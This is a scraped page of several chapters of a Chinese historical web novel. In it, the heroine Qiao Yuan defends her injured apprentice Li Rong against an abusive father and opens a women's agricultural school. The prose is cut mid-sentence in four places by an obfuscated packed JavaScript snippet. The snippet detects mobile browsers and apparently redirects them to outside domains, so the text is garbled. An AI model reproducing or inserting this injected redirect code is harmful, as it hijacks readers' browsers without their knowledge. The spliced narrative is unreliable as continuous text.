急跑到千金药铺，乔元的额发已经被汗水打湿，她的呼吸又急又深，双腿更是热得发麻。 先前给她指路的妇人一开始还跟得上她，待看得到千金药铺了，乔元一个加速，直接将她甩在了后头。 药铺门口围着不少看热闹的人，乱哄哄的吵嚷声里，还夹杂着妇人哀戚的哭啼，远远听来都让人悲痛欲绝。 乔元的脚步渐渐慢下，她咬紧下唇平复了一下呼吸，这才拨开人群走了进去。 人群大都围在外头，药铺里面除去仆役同大夫，剩下的就是李家几口人。 男男女女围着一个妇人坐在堂上，妇人面如土色，已经没有力气撑着，半副身躯都快滑落到地上。 “我……我就不该……拦着她。”妇人呜咽地说着话，整张脸因为过度悲痛而皱成一团。 她身后站着的婶娘牢牢箍着她，也在拭泪，“谁能想到这丫头脾气竟这样倔。” 女人们在堂上哭成了泪人，坐在一旁岁数大些的汉子却道：“死丫头竟这般多事，这个家难不成是她想怎的便怎的不成！” 妇人闻言，带着泪水泣道：“绒姐儿还不定能不能撑过去，你且少说些罢！” 汉子面色阴沉的吓人，“老子倒是不信，她还真想死了？” 二人争执间，药铺的郎中从内室走了出来，他擦了擦额头的汗，“你们家姑娘的命算是保住了。” 在大堂的几人一听，俱松了一口气。妇人更是又哭又笑的，连连拜谢道：“多谢郎中，多谢郎中。” 郎中摆摆手，“医者仁心，本分罢了。” 扶着把手起身往前走了几步，妇人眼带希冀地问向郎中，“我们可能进去看看？” 郎中应道：“去看一眼也就是了，人别太多，且让她好好养着。” 一听这话，妇人对着他又是千恩万谢。 沉脸汉子听闻能进去了，直接掀开帘子便先入了内室，“死丫头，你这般寻死觅活地给谁看！” 李绒还躺在床上，失血过多后她的眼前模糊一片，脑中眩晕地想吐，身体更是冰冷。 骤然听到叱骂声，她慢了半拍才反应过来，是她爹李茂才。 李茂才甫一见到李绒那惨白地不行得脸就来气，“赔钱货，马上就要嫁人了，偏生你还要弄出这么多事端来。等会儿能下地了就给我回家去，我可没钱让你躺在这药铺里。” 李绒连转身的力气都没有，伤口上是一阵阵锥心的疼，她只得闭上眼，任由她爹辱骂。 还外头的孙氏赶忙跑了进来，拦在李绒面前，“她爹，绒姐儿毕竟受了伤，有什么事情等回家再说。” “臭婆娘，连个丫头都看不好，你还敢拦我了？”见屋里没人，李茂才一把就把孙氏推到了地上。 孙氏的脊背砸到石砖上，一时间疼得龇牙咧嘴。 躺在床上的李绒青筋瞬时暴起，挣扎着想起来，“阿娘！” 李茂才正居高临下地看着母女俩人，眼见从外头又进来一男一女。 “听说绒姐儿把自己弄伤了，我连活儿都来不及做就赶回来了，原来就是为了不嫁人？”进来的男人同李茂才一个德行，上来便甩起了脸子。 “就是就是，一天的活儿没干完，回头就要被克扣工钱了。绒姐儿也真是，好端端地闹到医馆里，这银钱不是跟流水一样地花出去了。”跟在他身后的妇人同样一脸晦气。 见是儿子回来，李茂才的脸色好了不少，他道：“等会能下地就让她家去，药也不用买了，她命贱不怕磋磨，躺几天也就是个话了。” 男人也没管妹妹的死活，只道：“现在不是醒了吗？醒了就回去，正当自己是千金大小姐不成。” 儿子都这么说了，李茂才更是觉得女儿伤得不应当，立马上前推搡了李绒几下，“你哥说得是，别装了，醒了就起来回家去。” 孙氏从地上爬起，哭着拦在李绒面前，“她爹，你就让她歇上一晚罢。” “嘿，你今日是反了不成！”李茂才越说越来劲，他高扬起手臂，就想对着孙氏的面颊刮去，不料刚抬到半空，手便被抓住了。 乔元面若冰霜地甩开他的手，眼神里透着刺骨的寒意，“你再动一下她们母女试试。” 对这突然出现的姑娘，李家众人脸上都是莫名，李茂才拧拧手腕，不屑道：“你是谁，也敢来管我家的事。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565912|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只有李绒见到乔元来了，眼角带泪，翕动着干裂又苍白的唇，声音微弱如猫叫，“师傅。” 乔元立在她面前，像是挡住彻骨寒风的高山，“我名乔元。” 李茂才‘哈哈’一笑，“什么乔元，听也没听过，趁着我现在还没发火，你先给我滚蛋。” 乔元面上没有多余的表情，就这样静静站着，“你不清楚我的名字也不打紧，但我先告诉你，今日你要是敢动我还有她们母女俩一下，我让你走不出这间药铺。” “嗨，最近的丫头反了天了，都敢这样叫起板来了。”李茂才不管什么七七八八，蒲扇般地大手直接朝乔元飞来。 自打上次同吴玉梅打过架后，乔元日常除了抽空锻炼以外，时不时就会研究击打何处才能以弱胜强。 在李茂才的大手接近的瞬间，乔元身子一偏，单手紧握，用了十成力气一拳直接砸到了他的眼球上。 李茂才痛得连连后退，大声惊叫起来。他捂着一只眼，面露凶光，拿起椅子就想朝乔元砸来。 谁料乔元比他更快，直接一脚踹翻了隔开内室和外头的屏风。 这么大的响动，想让外面的人不注意都难。药铺外头来抓药的人被吓了一跳，还在给人号脉的郎中更是气地跳了起来，“你们这是作甚！” 方才他们一家人在里头说话，虽说得有些难听，但总归是别人的家事，事不关己只作不知。但现在连店都快被掀了，哪里还能再装聋作哑！他忙吩咐了仆役，“快，快去请巡检司的人来，有人在此地闹事！” 乔元一脚踩着屏风，就这样立在上头，活脱脱就是个山大王，她横眉对李茂才道：“你既已动手，今日定然走不出这道门。” 不过一个姑娘，气势却强地骇人，李茂才留了一只眼看她，一时间有些心头都有些打鼓。 站在李茂才身后的夫妇俩更是惊疑不定，这姑娘这般气盛，难不成真有什么大来头？ 他们眼神交汇片刻，妇人像是想到了什么，她忽地咽了咽口水，问向乔元，“敢问姑娘，可是那制出黄板的乔元？” 倒还有个知道的。 乔元冲她笑地悚然，“正是我。” 81. 插曲（五） 妇人闻言，死死拧着一旁夫君的臂膀，抖声道：“完了完了，她是乔元！是乔元！” 见儿媳吓成这样，李茂才捂眼尤是不信邪，“什么乔元，都没听过这号人物。” 妇人上前拉着他，只盼着他别再说了，“爹，乔元！就是那个帮着咱们郢州除了蚜害的乔元，知县同巡检使都要给她三分薄面的人！” 听儿媳这么一说，李茂才这才想起来似是有个这样的人。 他只当那是个男娃儿呢！ 妇人的嗓门不小，躲在柜台旁的郎中同站在外头的路人全听清楚了。 郎中双眼霎时瞪得像铜铃，他‘噌’一下从柜台后头站起来，抬腿往乔元这处跑，生怕慢了就赶不上似的，“乔姑娘，当真是乔姑娘！天爷啊我真是三生有幸，能碰上乔姑娘来我店里。” 李家人还迷迷糊糊没弄明白，就见方才躲在一旁的郎中立时换了副嘴脸，叉腰开始骂起他们来，“你们这些个黑心肝的刁民，在我店里头撒野也就罢了，还敢当着我的面便同乔姑娘起了冲突。还有你个老汉，我瞧着你面苦心黑，除了打骂妻女是丁点能耐都没有，我这屏风可是黄花梨做的底子，你们今日给我弄坏了，不把这钱赔了谁都别想走。” 郎中连气都不喘地骂完这么一段，又一脸正义地看向乔元，“乔姑娘莫怕，今日这事儿我定帮你到底。” 一直站在外头的路人也是一样的说法，“对对对，我们瞧见了，就是那老汉做的。” “不是？”李茂才捂着一只眼，终于会到了什么叫睁眼说瞎话，“我干什么了我，你们哪只眼睛瞧见我弄翻屏风了。” 郎中哪里会给他说话的机会，“哪只眼睛？我两只眼睛瞧得真真的，你手里举着椅子，一副凶神恶煞的模样，张口闭口都在扯谎，我一看就知道不是什么好东西，回头等着巡检司来你就老实了。” 郎中说得大义凌然，要不是这样的局面，乔元高低会笑出声来。 只可惜此刻还在对峙，既是对峙，最不能输的就是气势。 乔元示意郎中往后稍稍，转而对着李茂才道：“钱你们要赔，人同样也带不走。绒姐儿是我认下的徒弟，她的事儿我管定了。” 李家几人这回是真懵了，被人讹着说砸倒梨花木也就算了，家里的赔钱货什么时候成乔姑娘的徒弟了。 李茂才活了几十年，头一回遇见这样的场面。他眼睛疼的睁不开，手上拿着的椅子又不敢放下，不仅如此，对面的姑娘一个劲儿地冲他们撂狠话，外头围观的人还全是支持她的。 他是真怕了。 在乔元眼里，方才对着李绒母女还气盛的男人，现在缩得像一只抖毛的鹌鹑，站在旁边一声不吭。 老子不敢说话，儿子却是个胆大的。 一直站在后头没作声的李大郎躬身搓手，朝乔元赔笑道：“这……这都是误会，大水冲了龙王庙罢了，我们怎会对绒姐儿如此，哎呦，真是，我们只是想让她能在家休养的好些罢了。” 夫君都这样说了，妇人自然也跟上，“对对对，乔姑娘可别会错意了，我们对绒姐儿可好得很呢。” 一家人都是一样的嘴脸，乔元踩在屏风上的脚还没收回来，又沉着脸用力蹬了下去。 站她身后的郎中心疼的是一脸龇牙咧嘴。 “胡说！”躺着床上的李绒不知何时已经被孙氏扶着半躺了起来，声音干涩道：“你们不过是为了将我嫁出去好换钱给大哥置办新房，哪里来的嘴脸说是对我好了？” “死丫头，哪里有你说嘴的份！”拿别人没办法，拿自家丫头还没办法了？李茂才想都没想就开口道。 “呦呵，要是乔姑娘的徒弟都不能说话，你个从头臭到脚的老汉还能站在这儿不成？”郎中跳起来就是一句。 “你！你！”李茂才觉得自己另一只眼也在发黑。 李大郎捂着他爹的嘴，急出了一脑门汗，“爹！你闭嘴罢！” 他话音刚落，就听得在附近巡查的差役赶过来厉声道，“谁人在此闹事！” 差役一来，郎中脸色的喜色浓了三分，冲几人招手道：“大人，大人，就是这三个人，在我店铺里闹事。他们不仅砸了我的店，还差点伤了乔姑娘！” 巡检司上下谁人不知道那个入司跟回家似的乔姑娘，领头的差役一见果真是乔元，同她见礼后连直接道：“来人，拷走。” “大人，大人冤枉啊！”李家几人被差役扯着，面色刷白就差跪下喊冤。 被抓的就没听过不喊冤的，差役连耳朵都懒得掏，拷起人就往巡检司走。临走的时候，领头的差役还特地问询了乔元，是否疏漏了什么地方。在得到她的答复后，这才带着鬼哭狼嚎的李家人，还有主动作证的郎中走了。 人都被带走了，眼瞧着没什么热闹可看，围观的人群也三三两两地散去。 药店里头的仆役很有眼力见儿地将屏风扶好，留了乔元同李家母女在里头说话。 见内室空了下来，李绒再也抑制不住自己的情绪，对着乔元边哭边道歉，“师傅……呜呜呜……是我对不起你。” 前几日还像太阳花一般的姑娘，今日却这般憔悴地躺着床上，肩颈处还缠着厚厚的纱布，嗓音更是又涩又哑。 乔元眼瞳里满是心疼，她压下情绪温声开口道：“绒姐儿，这到底是怎么回事，你且同我说说。” 李绒吸了吸鼻子，抽抽搭搭地开口道：“前……前几日同师傅约好要过来，今日正门走不出，我便想着跳窗出来。” “谁知，被我爹给……给发现了。他很是气恼地拿了锤子来，说要把门窗钉死，直到我出嫁那一日才肯拆了。” “我自是不肯，便同他吵了起来。我以为我是她女儿，只要拿刀抵死不从，他定会放了我出来。哪里知道……” 说到这里，李绒深吸了一口气，才接着道：“他说，就是死了我也得嫁过去结阴亲。说完就来抢我拿着的刀，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573469|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来二去的，我肩颈处便被割了一刀。” 听完李绒所说，乔元的眼眉拧成一团，显然是气急。 李绒也意识到了，她扯嘴笑笑故作轻松道：“师傅你放心，我聪明着呢，这伤口看可怖，其实就是血流得多了一些，没什么的。待我今晚休息了，明日女学开学，我一定第一个到。” “什么时候了，还说这些。”乔元揉揉她的头。“别的事你别担心，只在这里养着就成。” 肩颈处被刺了可不是开玩笑的，李绒现在瞧着精神不算差，但等半夜要是烧起来怕是难熬。住在这里有郎中看着，最是稳妥不过。 死皮赖脸认下的师傅，却比血脉一处的家人待她更亲，李绒眼眶红地发肿，哽咽道：“师傅，我李绒此生，就是当牛做马也要回报你的恩情。” 她说话的时候，小小的鼻涕泡从她鼻尖冒出来，乔元知道自己不该笑的，但没忍住。 “师傅！”李绒恼道。 乔元止住笑容，这才看着她认真道：“李绒，我希望你记住一件事，什么都比不过你自己重要。下次遇事可不能这样蛮干，你得认真想过定下对策，才能着手去实施。以自我为威胁，永远是最下策。” “……好。”李绒低声应道。 知道她听进去了，乔元又同她说了一些别的，眼看天色已晚，同仆役交代了一应细节，这才回了家。 刚到家，接不到人的乔长平一见她回来，按捺不住地就开口问她又发生了何事。 乔元也不瞒着，捡要紧的说了。 刚说完这事儿，乔长平的拳头就砸向了桌面，“他们家还算是人吗？哪有人上赶着逼女儿出嫁给大哥盖房腾地方，不嫁就提刀相向的。元姐儿，你且告诉我他们家住哪里，我定要去骂他个狗血淋头！” 周素在一旁听着同样愤恨不已，举手同意，“说得好！就是荒年也少见卖女儿的，如今还算太平居然就打起了自家姑娘的算盘，这家人就该去巡检司长长记性！” 就着李家人的事儿，乔家几人在饭桌上足足骂了有一刻钟，这才肯消停地吃饭。到了晚间，周素气不过，拉着乔元又叮嘱了好些话，见她都应下，这才缓和些回了屋。 待到夜阑人静。 乔元伏案桌前，终于有时间能让自己好好理一理思路。 今天李绒的事情给她提了个醒，她光给姑娘们钱还不够，她要让她们能自信，自爱，能不被这社会吃人的脊梁压垮。 一直到了子时过半，乔元才得以上床休息。 桌案上的麻纸上，密密麻麻全是删改后的痕迹。 —— 在清晨第一缕日光破云而出的时候，乔元已经在去往农事问讯处的路上了。 微冷的空气能让她的大脑更为飞快的运转思考。 到了地方打开大门，日光刚好照在一盘的牌匾上。 乔元立在光里，逆身回望整条街道。 农事女学，今日开学。 82. 开学（二） 今日是入学第一日，乔元不想给她们出太难的题目。故而木盒里头，除了小黄家蚁，只有几只大头蚁和双齿多刺蚁。这几种蚁类光是外表就相差极大，分辨起来很是简单。 待线香燃尽，让姑娘们停下手来，乔元绕着二楼开始巡视。 她只说让她们将小黄家蚁找出来，但找出来后放在哪里，就得各凭神通了。一圈看下来，姑娘们或用纸包着或用笔圈着，纵然方法不尽相同，但让乔元意外的是，所有人都成功找到了小黄家蚁。 就算是面色煞白的邱月，也赶在最后，将小黄家蚁捉到了桌案上。 “不错。”乔元很是满意地点头，“算你们过关。” 听乔元这样说，姑娘们俱是松了一口气。她们好容易才入了农事女学，这里于她们而言，是最后的避风港，哪能被小小蚂蚁拦住。 第一节课程到此结束，留了一刻钟给姑娘们休息。乔元趁着这功夫，下楼看看有什么农事问题需要解答的。 恰巧这时来了个婶娘询问堆肥的事儿，左右闲着，乔元便同她细说了如何堆肥，用什么东西堆出来的养分最好。 话刚说到一半，忽听得楼上争吵起来。 乔元脸色骤变，让乔长平来解决剩下的事，自己则三步并作两步，快速上了二楼。 到了二楼，只见原本该是和谐相处的姑娘们，此刻分成了泾渭分明的两条线。 大部分人靠后聚在一处，最前头则只剩下李琴娘，同坐在她一旁事不关己的邱月。 聚成一团的姑娘们紧紧挨着，看向李琴娘的面色很是嫌恶，生怕靠近她就会染上什么病似的。 李琴娘紧闭双唇面向她们，单手紧紧抓着桌案，手指用力到几乎没有血色。 “这是做什么！”乔元站在楼梯口，对着屋里斥道。 见乔元上来，一个很是精瘦的姑娘挤到最前头，愤恨道：“乔姑娘，我们想请你让李琴娘离开女学！” “对！我们不想同她在一起上学。” “给我一个理由。”乔元走到中间地带，沉着脸问道。 “因为……因为……”精瘦姑娘支吾几句几度说不出来，到最后干脆破罐子破摔道：“她是天香楼的人！” 天香楼是金台县有名的花楼，多少纨绔子弟在那处流连往返，夜夜笙歌。李琴娘既是天香楼的人，哪里会是什么好东西。 “对！我们都是好人家的女儿，如何能与花楼女子共上女学。”天香楼几个字一出，后头姑娘们的情绪愈发激动起来。 “就是，谁知道她来女学是不是为了自抬身价的。” 脏水泼得越来越离谱，乔元周遭气场低地可怕，她冷声道：“住口！” 见她发起怒来，姑娘们吓得抖了一抖，沉默了下来。 “是谁最先提这件事的？”乔元肃容扫过站在一处的姑娘们，开口问道。 姑娘们面面相觑，最后不约而同地看向了站在最前头的赵银柳。 赵银柳下巴尖细，两颊凹陷，是这么多姑娘里最为削瘦的。乔元同她初见时，便被她皮包骨的样子吓了一跳。 见众人都看向自己，赵银柳不自觉地嚅嗫道：“我……我也是为了大家好。” “当众戳一个姑娘的痛处，你竟还觉得自己在做好事？”乔元纵然尽力压着心头的怒意，说起话来还是有些夹枪带棒。 赵银柳没听出乔元话里的讥讽，反问起乔元道：“乔姑娘，你为何要这般维护一个娼妓？她这样的人，同我们这些清白人家的女子是不一样的。若被人知道她在女学，没准还要坏了你的名声。” “再说一遍，我不是娼妓！”一直沉默的李琴娘怒不可遏道。 “就算天香楼卖艺不卖身，你日日同男子纠缠，谁知道你私底下如何。”赵银柳明明是个闺阁姑娘，但说出来的话却一字一句都往李琴娘的肺管子里戳。 李琴娘本不想闹事，可赵银柳这样咄咄逼人辱人清白，她忍无可忍，直接上前就将赵银柳面前那张桌子掀了，盒子里头的蚂蚁落了出来，掉了赵银柳一身。 “啊！！！”赵银柳吓得大叫起来。 受了惊的蚂蚁落到赵银柳身上，攀着她的身子就开始四处乱爬。赵银柳手忙脚乱地拍打着外衣，为求迅速，更是随意地将沾在衣服上的蚂蚁捏死。 被捏死的蚂蚁在她脚下落了一团，好容易将身上处理干净，赵银柳上前就想打李琴娘，好在被乔元眼疾手快地拦下了。 还未等乔元开口，赵银柳却先道：“乔姑娘！没想到你是这般是非不分的人。” ？她还恶人先告状了。 乔元甩开她的手，挡在李琴娘面前，“那你待如何？” 知道自己不是乔元的对手，赵银柳愤恨地收回手，“姑娘要是执意如此，那我只能退学了。不仅如此，我还要告诉整个金台县的人，你农事女学收了个天香楼的姑娘。” “嗬，”乔元从喉头挤出一丝笑声，丝毫不把她的威胁放在眼里，“请便。” 没想到自己的话对乔元没有一丝威慑力，赵银柳噎了一下，转头看向后面的姑娘，“既然乔姑娘一定要维护李琴娘，姐妹们，不若我们就此退学！不上她这劳什子的农事女学了！” 乔元初见赵银柳的时候，为了博取自己的同情，她寻了个无人的地方，将被木棍抽得斑驳的手臂同大腿露给她看，声泪俱下地哭诉自己的父兄是如何责打她的。没想到一转脸，露出的却是这样的里子。 也怪自己没看清她的画皮。 乔元看向后头聚成一团的姑娘，一字一顿道：“在你们入学之时我便说了，我开设女学，最不在意的便是出身。我唯一所愿，就是你们能摆脱这世间的桎梏，奋而攀登，有朝一日能为别的姑娘遮风挡雨。” “未曾想，入学不过半日，你们最先攻击的不是别人，而是自己的同窗，当真是一出好戏。”乔元说这话的时候，嘲讽的意味满满。 听她这么说，有几个姑娘羞愧地低下了头。 乔元接着道：“赵银柳，既然你这般不愿意同李琴娘同在一个屋檐下，那你便退学罢。还有其他人，要退一起退了，我农事女学不收歧视同性的人。” “……这！”赵银柳明显懵了，她本以为乔元知道后定会第一个让李琴娘走，没想到如今要走的却是她。 在这里，不用风吹日晒，只学些农事上的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607392|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西一个月就能得一贯钱，若离了这里，哪里还能找到这么好的活计。此刻的赵银柳已然骑虎难下，全然不知该如何收场。 乔元却没给她丝毫机会，她利落地拿出名册，找到赵银柳的名字，在上面划了一个叉。竹笔在乔元手中翻飞，她再度问了一声，“还有人要退学吗？现在一道说了。” 一时间，整个二楼落针可闻。 等了半晌也不见有人出声，乔元这才收起名册，“既然你们不愿意走，那就别再让我听到任何有关同窗的风言风语。若有违者，立即逐出女学永不录用！” 上位者的气势显露出来，女学里的姑娘纷纷垂头，没一个人再敢拿李琴娘的事情说嘴。 “赵银柳，”乔元再度提及她的名字。 被叫到名字的赵银柳瑟缩了一下，就听得乔元吐出一句话，“收拾好你的东西现在就离开这里。” 即便到了现在，赵银柳依旧不明白自己到底错在哪儿了。李琴娘这样最下等的娼妓，如何能同她并坐一处？ 可事情已成定局，她又能怎么办。赵银柳面容扭曲很是不忿，拿起自己的包袱，小跑离开了农事问讯处。 坐在下头的乔长平刚送走婶子，就见一个姑娘从楼上跑下来抹泪离开了问讯处。 还没等他反应过来，乔元带着李琴娘也走了下来。出了这样的事儿，就算再开新课，姑娘们也听不进去，不若让她们先消化消化。 带着李琴娘到后院，乔元还没开口，就见李琴娘躬身向她跪拜，“多谢乔姑娘为我说话。” 乔元忙拦着她弯下的腰，“不必，今日是你受委屈了。” “姑娘不嫌我？”李琴娘抬头，向来都是以泼辣张狂的样子示人的她，难得这般沉闷。 “若是嫌你，方才走的就不是赵银柳了。”乔元道，“况且，在你来这里报名的第一日，我就知道你来自天香楼了。” 李琴娘笑笑，“这话倒是不错。” 知道她今日为何这般忍耐，乔元看着她的眼认真道：“在天香楼弹琴，非你所愿。既非你所愿，又何必将这枷锁加到自己身上。我说过，我最不在意的便是人的出身。还望你能振作起来，不必被这些虚无的东西压垮。” 第一次有人同她说这些。 李琴娘闻言，眼眸隐隐带泪。 在天香楼弹琴，是她抹不开的烙印，不管她面上装的多么不在乎，但在她心里，始终为此自卑。 可她不能离开天香楼，阿娘还在等着治病的药钱。她只能一日一日熬，一日一日强颜欢笑，在男人中间虚与委蛇，换得足够的钱财。 就在她本以为自己这一生就该是这样的时候，乔元带着女学出现了。 今日第一次以学子的身份坐在问讯处里，这样从未经历过的特殊感受，让李琴娘恍惚觉得，自己不再是花楼里弹琴的姑娘，而是一个普通人家的姑娘，可以读书写字修习学识。 是乔元给了她坚持下去的希望啊。 看着面前比她还小上几岁的姑娘，李琴娘抿唇良久，张开双臂，紧紧抱住了她。豆大的眼泪自她眼眸滑落，摔在地上绽出小小的花朵。 “多谢你，乔姑娘。” 83. 开学（三） 有了赵银柳做例子，乔元带着李琴娘上去的时候，已经没人再提及方才的事情了。 课程继续，乔元接着介绍了小麦最容易混淆的纹枯病和根腐病，布置完今日的课业，这才结束了女学第一日。 为了方便姑娘们沉淀所学，农事女学的课程只设了半天。剩下的半天，可以自行选择留下来习字或是归家。 能有个地方专心学习，女学的姑娘们哪里舍得走。有些甚至早就备好了干粮，就水干嚼了几口，又接着认起字来。 乔元也没打扰她们，有事的时候就去一楼处理，无事便坐在一旁跟着看书。 一日功夫一晃眼就过去了，到了落锁的时候，负责中街巡逻的差役张邃山却忽然找上门来。 “张大哥，这么晚来可是有事？”乔元熟稔问道。 张邃山是个极为魁梧的壮汉，一个拳头都抵得上脸盆大，他‘哈哈’一笑，对着乔元道：“巡检使说你托他找的人已经到了，让我问问姑娘明日什么时候过去？” 前几日他还说随时去都行，今日怎的又托人来问。想着江稷莫约是有事，乔元站在原地思忖片刻。 明日一早要在女学上课，下午的时候还得去县衙商量买扑的事情，算算到了巡检司，约莫要到申时了。 同张邃山说了具体时间，乔元见他抱拳一礼，留下一句，“得嘞，我这就回去告诉巡检使。”也就离开了问讯处。 晚间回家将有关盐碱地的东西整理出来，又在上头添了几笔，乔元这才颇为满意地收拾完毕上床休息。 翌日一早，乔元早早地就去了问讯处。 她才刚拐到中街，远远就见李琴娘已经在门口等着了。 一见她来，李琴娘晃了晃手上的油布包，“乔姑娘，给你带了点吃食。” 二人到了店内打开油布包，热腾腾的八珍糕出现在眼前。糕点被做成了葫芦的样子，外头涂了一层蜂蜜，泛着油亮的光泽。每一块八珍糕上，都嵌满了果脯和果仁，另加了芝麻和桂花作为点缀。淡淡的甜香弥漫在空气里，闻之便叫人食指大动。 李琴娘将八珍糕往乔元面前推了推，“乔姑娘，快尝尝罢。昨日的事我没什么好谢你的，这是我们天香楼大师傅做的。我昨日回去求了她小半个时辰，她才答应给我蒸上这一小笼。你就当尝个鲜。” 她都这样说了，乔元也不好推辞。拈了一块放进口中，八珍糕入口香甜细腻，糕点湿润却不沾牙，都不用几分力气，轻轻一抿，直接在嘴里化开。各种坚果的味道在口中炸开，好吃到乔元连眼瞳都亮了几分。 见她吃得满意，李琴娘这才松了一口气，“太好了，我还怕不合你胃口呢。” 同乔元在楼下坐了一会儿，见有农人来问询，李琴娘便很是识趣地上了楼。 日头渐高，乔长平照常带着饭来问讯处，打眼就瞧见了乔元面前的糕点。他拈起来尝了一口，霎时惊为天人，“元姐儿，这么好吃的糕点，你上哪儿买的！” 乔元从书里抬头，“不是买的，是李琴娘给的。” 听她提到李琴娘，乔长平脑海里蓦地出现了那个身着水红色衣裙的张扬姑娘，他凑近乔元悄声道：“昨日到底发生什么事儿了，你竟能忍到今天也不同我说。” 乔元见状，直接塞了一块糕点到乔长平嘴里。“大哥，姑娘家的事儿你且少打听。” 到了上课的时辰，照例是乔长平看着下面，乔元管着二层。 今日的课程较昨日复杂了一些，乔元引入了纲属的概念，并开始有意识地将昆虫学和农学的知识穿插着教授给姑娘们。给她们教学，同样也是自己知识体系的重新架构，对乔元来说，她很享受这样的过程。 半日课程结束，午后依旧是自由活动。 乔元下午不在，统管的活儿便交给了梁缨，她的个头是所有姑娘里最高的。同她交代好一应细则，乔元这才往县衙赶去。 刚走到县衙门口，乔元就被道旁一辆辆华丽的马车给惊呆了。二马拉车在金台县都少见，结果今日外头有好几辆四马齐驱的。那些车架华顶宝盖，缀满璎珞，不用想都知道，定然是极富贵的人。 没料到今日会来这般大人物，乔元定了定心神，往里头走去。 刚一到大堂，周进的声音就传了出来。 “您且坐这儿稍歇，想来再过片刻乔姑娘就到了。” 乔元定睛一看，屋里坐满了人，而周进却独独站一位皓首银丝的老者面前。老者满面红光，精神抖擞，一眼看去便很是康健。他身着直领对襟的云鹤送瑞锦袍，发冠更是由羊脂白玉制成，雕成了松石形状，一身的行头怕是不下百金。 纵然得一地知县这般恭维，老者却也只抬了抬眼皮，并未作答。 “乔姑娘？”乔元还在门边打量，忽然从背后传来一道声响。 乔元猛地回头看去，来人却是贺令璟。 贺令璟面带笑意，“姑娘缘何不进去？” “正要进去呢。”乔元面上分毫没有被人抓包的尴尬，转头大大方方地就走了进去。 贺令璟扇着扇子，跟在她后头同样也走了进来。 正侍立在老者面前的周进一见乔元，擦了把汗忙迎了上来。“乔姑娘，你可算来了。” 说罢，他就带着乔元往老者面前走，二人站定在老者面前，周进躬身同老者介绍道：“华行首，这位便是乔姑娘了。” 同老者介绍完毕，周进又同乔元道，“乔姑娘，这位是打京城来的华行首，他老人家可是咱们景朝皇商里头的领头人。” 趁着周进同乔元介绍的功夫，华兴贤不动神色地打量了乔元一番。 面前的姑娘脊背挺得笔直，神色平淡眼眸锐利，周身锋芒不露于人前，似利刃藏于匣中，只一眼，他便知乔元非池中物。 放缓面色，华兴贤起身对乔元道：“早前听闻严三收了个徒弟，我还当是他老来疯。今日一见，才知他为何放着京城里的才俊不要非要收姑娘你，姑娘当真是千古绝尘的英才。” 上来便得他这般夸奖，想来是因为严维运的缘故。乔元面上不显，躬身谢过道：“华行首过誉了，我不过会些小巧而已，难得师傅看得上。” 不卑不亢，进退有度。 华兴贤点点头，很是满意，“姑娘往后若是来了京城，记得到我们永丰行会来，届时我定要与你小酌几杯。” 周进在一旁陪笑道：“华行首的永丰行会可不是普通人能进的，乔姑娘当真好运气。” 几人正在言谈之际，有一道声音从旁插入，“华行首，许久未见了。” 华兴贤往侧边看了一眼，贺令璟正躬身朝他行礼，他一转方才的慈眉善目，眯起眼往后仰坐在凳子上，从上而下睨他，“我当是谁，这不是闻名天下的‘千金手’贺公子吗？” 贺令璟依旧是那般儒雅气质，朝他笑道：“能得华行首一句称赞，我今日也算是没有白来。” 一旁细听二人对话的周进忍不住咋舌，他本以为华行首来便是顶天了，没成想身后这位居然是贺家商行的贺公子。 周进的脚步往贺令璟处挪了挪，刚想同贺令璟搭话，就听得华兴贤皮笑肉不笑道：“呵，小子，倒是会往自己脸上贴金。” 话语里带着明晃晃的嘲弄。 明眼人都能品出二人之间的不对付来，瞧着气氛怕是要僵，周进都不用斟酌，直接将贺令璟隔在身前，冲华兴贤低语道：“华行首，若没别的事，那我便开始了？” 得到华兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629283|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贤首肯，周进这才走到堂上，面对众人。一旁的贺令璟丝毫不在意自己被冷待了，兀自找了个地方坐下，细听周进之言。 